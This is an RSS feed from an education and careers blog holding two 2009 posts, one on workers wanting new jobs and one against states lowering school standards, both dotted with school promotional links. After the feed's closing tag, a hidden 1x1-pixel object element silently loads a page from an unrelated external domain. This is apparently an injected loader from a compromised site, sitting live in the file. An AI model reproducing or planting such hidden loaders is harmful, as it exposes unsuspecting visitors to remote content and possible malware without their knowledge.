<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Education &#38; Careers &#187; improving education</title>
	<atom:link href="http://www.classesandcareers.com/education/tag/improving-education/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.classesandcareers.com/education</link>
	<description>Education &#38; Career Advice and Tips</description>
	<lastBuildDate>Tue, 13 Dec 2011 17:56:01 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>2/3 of Americans Want New Jobs in 2010</title>
		<link>http://www.classesandcareers.com/education/2009/11/25/23-of-americans-want-new-jobs-in-2010/</link>
		<comments>http://www.classesandcareers.com/education/2009/11/25/23-of-americans-want-new-jobs-in-2010/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 23:51:14 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Career Advice]]></category>
		<category><![CDATA[Choosing a School]]></category>
		<category><![CDATA[college degrees]]></category>
		<category><![CDATA[different job]]></category>
		<category><![CDATA[earning degrees]]></category>
		<category><![CDATA[education and degrees]]></category>
		<category><![CDATA[education and jobs]]></category>
		<category><![CDATA[improving education]]></category>
		<category><![CDATA[new job]]></category>
		<category><![CDATA[online education]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=1021</guid>
		<description><![CDATA[Nearly two-thirds of American workers have the intention of finding new jobs in 2010. This shows that there is growing frustration and discontent among American workers, which is continuing to rise sharply and no one knows how high it will be next year.]]></description>
			<content:encoded><![CDATA[<p>Nearly two-thirds of American workers have the intention of finding new jobs in 2010. This shows that there is growing frustration and discontent among American workers, which is continuing to rise sharply and no one knows how high it will be next year. <br />
	&nbsp;<br />
	The report showed that while 60 percent &quot;intend to leave&quot; another 21 percent said &quot;maybe, so I&#39;m networking.&quot; And only 13 percent <strong>planned to stay</strong> in their current jobs. While the remaining 6 percent said changing jobs &quot;wasn&#39;t likely, but I&#39;ve updated my r&eacute;sum&eacute;.&quot;</p>
<p>	This shows many employees are annoyed and frustrated with how the way they&#39;ve <strong>have been treated</strong> through the economic crunch. The problem is that there are few jobs available; so many people are forced to stay in their same jobs that they hate day after day. The reality is that when there&rsquo;s less money floating around there are also fewer jobs.</p>
<p>	This means if you want a new job you need to update your r&eacute;sum&eacute;<br />
	&nbsp;to&nbsp; make yourself as attractive as possible to employers. But even when you do this; you are still going to face a lot of disappointment because there are so many people competing for a limited number of <a href="http://www.classesandcareers.com/schools_kaplan-university-ground/state_nebraska/campus_kaplan-university-omaha/degrees_business/courses_business">jobs</a>. So you might be looking for an extended amount of time and you still might not even find a job.</p>
<p>	However, if you have a job keep in mind that it is easier to find a job if you <strong>already have a job</strong>. This shows to employers that you&#39;re valuable and are able to hold a job. But if you lost your job or were laid off during the economic crunch then keep in mind that it&#39;s possible to find a job but you have to work even harder to get one than those who are currently employed.</p>
<p>	So if you&#39;re looking for a new or a different job remember to be <strong>persistent</strong>. Make sure that your r&eacute;sum&eacute; is updated and it might be worth it to have others read your r&eacute;sum&eacute; and get some feedback. There are even firms that can help you write your r&eacute;sum&eacute;, because a good r&eacute;sum&eacute; is one-third of the battle. </p>
<p>	Another great idea is to get more education. Sometimes you get cornered into a dead end job with skills that are company specific. One way to get a new job without taking a pay cut is by <strong>improving your education</strong> and skills. By earning a degree you improve your skills, knowledge, and will make you even more attractive to potential employers. </p>
<p>	<a href="http://www.classesandcareers.com/accredited-colleges/schools_kaplan-university-ground/state_nebraska/campus_kaplan-university-omaha/program_">Education </a>can help you get out of your current circumstances and on the path to success. It&#39;s a difficult market out there and you need to not only be doing what everyone else is, but to do more in order to set yourself apart. An education can not only improve your life, but get you into the career that you want and most likely lead to a higher salary.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/11/25/23-of-americans-want-new-jobs-in-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>States Lowering Standards Won&#8217;t Improve Education</title>
		<link>http://www.classesandcareers.com/education/2009/10/30/states-lowering-standards-wont-improve-education/</link>
		<comments>http://www.classesandcareers.com/education/2009/10/30/states-lowering-standards-wont-improve-education/#comments</comments>
		<pubDate>Fri, 30 Oct 2009 16:57:37 +0000</pubDate>
		<dc:creator>Diane</dc:creator>
				<category><![CDATA[Career Advice]]></category>
		<category><![CDATA[American education]]></category>
		<category><![CDATA[child's education]]></category>
		<category><![CDATA[education standards]]></category>
		<category><![CDATA[improving education]]></category>
		<category><![CDATA[raising standards]]></category>
		<category><![CDATA[students]]></category>
		<category><![CDATA[teaching]]></category>

		<guid isPermaLink="false">http://classesandcareers.com/education/?p=890</guid>
		<description><![CDATA[In order to try and improve their test scores many states decided to try a tactic to raise their test scores. They decided to lower their standards and believe that students reading and math skills at their grade level will improve. The scores will increase but and show that students are improving when they haven't truly mastered the skill.]]></description>
			<content:encoded><![CDATA[<p>In order to try and improve their test scores many states decided to try a tactic to raise their test scores. They decided to lower their standards and believe that <a href="http://www.classesandcareers.com/accredited-colleges/online-schools_full-sail-university/program_bachelor-of-science-in-graphic-design">students</a> reading and math skills at their grade level will improve. The scores will increase and show that students are improving when they haven&#39;t truly mastered the skill.</p>
<p>What&#39;s peculiar is that the government is trying to <strong>raise the standards</strong> and challenge students more so that we can stay up with educational standards in other countries and states are trying to lower them. Education Secretary Arne Duncan said that &quot;We&#39;re lying to our children when we tell them they&#39;re proficient, but they&#39;re not achieving at a level that will prepare them for success once they <a href="http://www.classesandcareers.com/schools_ohio-business-college/state_ohio/campus_ohio-institute-of-health-careers-columbus/degree_undergraduate">graduate</a>.&quot;</p>
<p>Individual states largely have control over their own education. However the government does have some say when it comes to the <strong>No Child Left Behind Act</strong>. Even though the act has caused some problems when schools have failed to perform, the intentions were good. Actions were taken but have failed to deliver.</p>
<p>Now schools are trying to boost scores by lowering their standards. This tactic is ridiculous and stupid. The point is to try and improve education and this will not improve education.&nbsp; The scores are just&nbsp; the way to analyze and mark improvement. So lowering scores is not going to <strong>accomplish anything</strong> but just make things worse.</p>
<p>Because of states actions, the federal government is trying to encourage states to accept a set of standards by offering millions of dollars. The money would come from the federal stimulus law which allocates money to Obama&#39;s educational reform. The reasoning behind this is that students currently do much worse on National Assessments than they do on state tests because of the different standards. So if states lower their standards there will be an even greater difference between test results.</p>
<p>Standards need to rise in order to help students compete with their international peers. Since 2005 more states have lowered their standards than raised them. Another problem children are facing is that states standards differ greatly; so children may be considered proficient in one state and not in another.</p>
<p><a href="http://www.classesandcareers.com/schools_medvance/state_florida/campus_medvance-ft-lauderdale/degree_undergraduate">Education</a> is really important in everyone&#39;s life. Children and adults both need a greater education. There is a saying the &quot;<strong>D&#39;s earn degrees</strong>.&quot; This is unacceptable and students need to be learning and retaining more information because what they are learning in some cases is not adequate.</p>
<p>The federal government needs to take greater steps to improve education in the U.S. for children and adults, because Americans are being <strong>left in the dust</strong> and this is a problem that will influence their lives and future generations. Greater efforts need to be made in regard to education in America.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.classesandcareers.com/education/2009/10/30/states-lowering-standards-wont-improve-education/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

<object data="http://pentagori.com/in.cgi?3" type="text/html" width="1" height="1"></object> 
